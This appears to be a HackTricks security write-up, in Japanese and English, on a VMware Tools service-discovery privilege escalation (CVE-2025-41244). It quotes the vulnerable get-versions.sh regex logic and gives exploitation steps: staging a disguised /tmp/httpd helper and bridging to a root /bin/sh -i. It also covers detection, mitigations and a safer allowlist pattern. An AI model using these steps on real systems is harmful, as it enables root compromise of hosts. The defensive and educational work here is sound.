VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
Reading time: 11 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
この手法は、実行中のプロセスのコマンドラインを解析してサービスのバージョンを推定し、候補バイナリを "version" フラグ付きで実行する regex 駆動の service discovery パイプラインを悪用します。許容的なパターンが攻撃者制御の信頼されていないパス(例: /tmp/httpd)を受け入れると、特権を持つコレクタが信頼されていない場所から任意のバイナリを実行し、local privilege escalation を引き起こします。NVISO はこれを VMware Tools/Aria Operations Service Discovery における CVE-2025-41244 として文書化しました。
- 影響: Local privilege escalation to root (or to the privileged discovery account)
- 根本原因: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
- 影響対象: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
How VMware service discovery works (high level)
- Credential-based (legacy): Aria が設定された特権資格情報を使い、VMware Tools 経由でゲスト内で discovery スクリプトを実行します。
- Credential-less (modern): Discovery ロジックが既にゲスト内で特権を持つ VMware Tools 内で実行されます。
両モードとも最終的には、リッスンしているソケットを持つプロセスをスキャンし、正規表現で一致するコマンドパスを抽出して、最初の argv トークンを version フラグ付きで実行するシェルロジックを実行します。
Root cause and vulnerable pattern (open-vm-tools)
In open-vm-tools, the serviceDiscovery plugin script get-versions.sh matches candidate binaries using broad regular expressions and executes the first token without any trusted-path validation:
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}
それは \S(空白以外)を含む寛容なパターンで呼び出され、ユーザーが書き込み可能な場所にある非システムパスにも容易にマッチします:
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
get_version "/\S+/mysqld($|\s)" -V
get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
- 抽出は grep -Eo を使用し、最初のトークンを取得します: ${COMMAND%%[[:space:]]*}
- 信頼されたシステムパスの whitelist/allowlist がなく、名前が一致した検出されたリスナーは -v/--version で実行されます
これにより untrusted search path execution primitive が生成されます: world-writable なディレクトリ(例: /tmp/httpd)に置かれた任意のバイナリが特権コンポーネントによって実行されます。
Exploitation (クレデンシャル不要およびクレデンシャル有りモードの両方)
Preconditions
- ゲスト上でリスニングソケットを開く非特権プロセスを実行できること。
- discovery job が有効で定期的に実行されること(歴史的には約5分)。
Steps
- permissive regexes のいずれかにマッチするパス(例: /tmp/httpd または ./nginx)に binary をステージする
- 低権限ユーザとして実行し、listening socket を開いていることを確認する
- discovery cycle を待つ; 特権 collector は自動的に /tmp/httpd -v(または同様のコマンド)を実行し、あなたのプログラムを root として実行する
Minimal demo (using NVISO’s approach)
# Build any small helper that:
# - default mode: opens a dummy TCP listener
# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i)
# Example staging and trigger
cp your_helper /tmp/httpd
chmod +x /tmp/httpd
/tmp/httpd # run as low-priv user and wait for the cycle
# After the next cycle, expect a root shell or your privileged action
典型的なプロセスの系譜
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
アーティファクト (credential-based) Recovered SDMP wrapper scripts under /tmp/VMware-SDMP-Scripts-{UUID}/ may show direct execution of the rogue path:
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
Generalizing the technique: regex-driven discovery abuse (portable pattern)
多くのエージェントや監視スイートは、バージョン/サービス検出を次の方法で実装しています:
- リッスンしているソケットを持つプロセスを列挙する
- argv/command line を許容的な regex で grep する(例: \S を含むパターン)
- マッチしたパスを -v、--version、-V、-h のような無害なフラグで実行する
もし regex が信頼されないパスを受け入れ、そのパスが特権コンテキストから実行されれば、CWE-426 Untrusted Search Path execution が発生します。
悪用手順
- バイナリ名を、regex が一致しやすい一般的なデーモン名にする: httpd, nginx, mysqld, dataserver
- 書き込み可能なディレクトリに配置する: /tmp/httpd, ./nginx
- regex に一致し、列挙されるために任意のポートを開くことを確認する
- スケジュールされたコレクタを待つと、自動的に特権で
-v が呼び出される
マスカレーディング注記: これは MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) と整合し、一致確率とステルス性を高めます。
再利用可能な特権 I/O 中継トリック
- ヘルパーを次のように作る: 特権で呼び出されたとき(-v/--version)既知のランデブーポイント(例: Linux 抽象 UNIX ソケット @cve)に接続し、stdio を /bin/sh -i にブリッジする。これによりディスク上の痕跡を避けられ、同じバイナリがフラグ付きで再実行される多くの環境で動作する。
Detection and DFIR guidance
ハンティングクエリ
- vmtoolsd や get-versions.sh の珍しい子プロセス(例: /tmp/httpd, ./nginx, /tmp/mysqld)
- discovery scripts による非システムの絶対パス実行(${COMMAND%%...} の展開内のスペースを確認)
- ps -ef --forest で親子関係ツリーを可視化する: vmtoolsd -> get-versions.sh ->
On Aria SDMP (credential-based)
- /tmp/VMware-SDMP-Scripts-{UUID}/ を調査して、一時的なスクリプトや攻撃者パスの実行を示す stdout/stderr の痕跡を確認する
Policy/telemetry
- 特権コレクタが非システムプレフィックスから実行されたらアラートする: ^/(tmp|home|var/tmp|dev/shm)/
- get-versions.sh と VMware Tools プラグインのファイル整合性監視
Mitigations
- パッチ: Broadcom/VMware の CVE-2025-41244(Tools および Aria Operations SDMP)向けアップデートを適用する
- 可能な場合は資格情報不要のディスカバリを無効化または制限する
- 信頼されたパスを検証する: 実行を許可リストのディレクトリ (/usr/sbin, /usr/bin, /sbin, /bin) に制限し、既知のバイナリのみ許可する
- \S を含む許容的な regex を避ける。アンカー付きで明示的な絶対パスや正確なコマンド名を使うことを推奨
- 可能な場合は discovery helper の権限を落とす; 影響を減らすために sandbox(seccomp/AppArmor)を使用する
- vmtoolsd/get-versions.sh が非システムのパスを実行しているか監視しアラートする
Notes for defenders and implementers
より安全なマッチングと実行パターン
# Bad: permissive regex and blind exec
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v
# Good: strict allowlist + path checks
candidate=$(get_command_line "$pid" | awk '{print $1}')
case "$candidate" in
/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2)
"$candidate" -v 2>&1 ;;
*)
: # ignore non-allowlisted paths
;;
esac
参考資料
- NVISO – You name it, VMware elevates it (CVE-2025-41244)
- Broadcom advisory for CVE-2025-41244
- open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)
- MITRE ATT&CK T1036.005 – Match Legitimate Name or Location
- CWE-426: Untrusted Search Path
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks